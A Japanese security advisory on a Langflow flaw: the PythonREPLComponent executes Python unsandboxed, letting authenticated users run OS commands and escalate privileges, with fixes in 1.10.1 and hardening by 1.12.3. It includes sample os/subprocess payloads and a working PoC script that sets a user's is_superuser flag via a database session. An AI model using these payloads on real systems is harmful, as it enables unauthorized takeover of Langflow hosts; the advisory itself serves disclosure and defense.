Langflow: `PythonREPLComponent`は、サンドボックス化されていないPythonコードを実行するため、認証されたリモートコード実行(RCE)や権限昇格を可能にする。

### 概要

Langflowに組み込まれているPythonインタープリタコンポーネントである`PythonREPLComponent`(Pythonインタープリタ)と、旧バージョンの`PythonREPLToolComponent`(Python REPLツール)は、フロー内で任意のユーザーまたはモデルが提供したPythonコードを実行していたが、効果的なサンドボックス化は行われていなかった。コードがLangflowサービスの権限でプロセス内で実行されたため、フローを編集および実行できる**認証された**ユーザーは、リモートコード実行を達成し、そこからスーパーユーザーの権限を昇格させたり(例えば、データベースセッションを開いて`is_superuser`を切り替えたり)、ホストを侵害したりすることができた。

**この問題は1.10.1で修正され、さらに1.12.3までにセキュリティ強化が行われています。** 詳細は、以下の「対策」を参照してください。

### 対象

- **パッケージ:** `langflow`(PyPI)、およびコンポーネントを同梱する基盤パッケージ`lfx`。
- **脆弱なバージョン:** `< 1.10.1`。
- **修正済み:** `1.10.1`(コアな修正)。完全なセキュリティ強化のため、`>= 1.12.3`にアップグレードしてください。

### 詳細

根本原因は**コードインジェクション**(CWE-94/CWE-95)である。コンポーネントが、セキュリティサンドボックスとして機能しないLangChainの`PythonREPL`に、そのままの入力を渡していた。

1.10.1以前には、以下の2つの脆弱性が存在していた。

1. **制限のない組み込み関数(デフォルト設定)。** `get_globals()`は、`global_imports`の許可リストから`exec`のグローバル変数を構築したが、`__builtins__`を設定しなかった。CPythonの`exec()`は、許可リストに関係なく、フル`builtins`モジュールを自動的に挿入し、`__import__`、`open`、`eval`、`exec`や、インポート機構全体が利用可能になっていた。例えば、`__import__("os").system(...)`や`__import__("subprocess").check_output([...])`が実行可能であった。これにより、「Global Importsに記載されたモジュールのみが使用可能」という保証が成り立たず、これは**デフォルト**設定(`allow_custom_components=True`)でも当てはまった。

2. **サーバー側のポリシーによる制限がない(ロックダウンされた環境)。** `allow_custom_components=False`でセキュリティを強化した環境でも、コンポーネントが実行前にそのポリシーを参照しないため、インタープリターコードが実行される可能性があります。

どちらのケースも、認証されたユーザーが報告されたPoC(Proof of Concept:概念実証)を実行でき、これによりデータベースセッションが確立され、ユーザーアカウントの`is_superuser`が`True`に設定されるか、サービス権限でファイルシステムへの書き込みやOSコマンドの実行が行われる可能性があります。

### PoC(報告された内容に基づく)

1. 通常のユーザーとして認証します。
2. `PythonREPLComponent`を使用してフローを作成します。
3. Langflowの内部モジュールをインポートし、アカウントを権限昇格させるPythonコードを実行します。

```python
import asyncio
from sqlmodel import select
from langflow.services.database.models.user.model import User
from langflow.services.deps import session_scope

async def escalate():
async with session_scope() as session:
stmt = select(User).where(User.username == 'testuser')
user = (await session.exec(stmt)).first()
if user:
user.is_superuser = True
session.add(user)
await session.commit()

asyncio.run(escalate())
```

### 影響

認証されたユーザーは、以下のことが可能になります。
- Langflowサービスの権限で、任意のPython/OSコマンドを実行できます(RCE:リモートコード実行)。
- データベースへの直接アクセスを通じて、自身のユーザーアカウントを管理者権限に昇格させることができます。
- データや設定を読み取ったり変更したりし、さらに基盤となるホストに侵入する可能性があります。

### 対策

**Langflow 1.10.1以降**(できれば**1.12.3以降**)にアップグレードしてください。インタープリターコンポーネントは、コードが実行される前に`run_python_repl()`関数で適用される、多層防御のセキュリティ対策によって強化されています。

- **制限された組み込み関数:** `get_globals()` 関数は、`__import__`、`eval`、`exec`、`compile`、`open`、`input`、`globals`/`locals`/`vars`、`getattr`/`setattr` などを削除した、安全な組み込み関数 (`safe_builtins()`) のマッピングを注入します。(#13397)
- **AST(抽象構文木)の検証:** `validate_code_safety()` 関数は、インラインの `import` および `from ... import`、ダンダリン/エスケープ・ガジェット属性へのアクセス(`__class__`、`__subclasses__`、`__globals__`、フレーム/トレースバックの検査)、およびフォーマット文字列によるダンダリンの参照を拒否します。(#13397)
- **サーバー側のポリシーによる制御:** `ensure_code_execution_enabled()` 関数は、`allow_custom_components=False` または `block_code_interpreter_components=True` の場合、または設定スタックが解決できない場合に、実行を拒否します。(#13700(このセキュリティアドバイザリ)、および #14375)
- **許可リストに登録されたモジュールプロキシ:** インポートされたモジュールは、モジュールのトランスティブなインポートグラフを通じて `sys.modules["os"]` にアクセスできないようにするプロキシ経由で公開されます。(#15198)
- **オプションのハードウェア分離:** `LANGFLOW_SANDBOX_BACKEND` を設定して、インタープリターのコードをプロセス内ではなく、分離されたマイクロVMで実行できます。(#14400)

関連する修正の参照: #13397, #13700 (このGHSAを含む), #14375, #14400, #15198。

### 運用担当者向けのセキュリティ強化に関する推奨事項

- Langflow を常に最新の状態に保ってください(>= 1.12.3)。
- セキュリティを強化した環境では、`LANGFLOW_ALLOW_CUSTOM_COMPONENTS=false`(または `LANGFLOW_BLOCK_CODE_INTERPRETER_COMPONENTS=true`)を設定して、インタープリターを完全に無効にしてください。
- 信頼できないコードを実行する必要がある環境では、`LANGFLOW_SANDBOX_BACKEND` を設定して、マイクロVMによる分離を実現してください。
- Langflow サービスを、最小限の権限を持つユーザーで、最小限の権限を持つデータベースの認証情報を使用して実行してください。

影響を受けるパッケージ:
- pip (Python) langflow: 影響を受けるバージョンは 1.10.1 未満、1.10.1 で修正済み。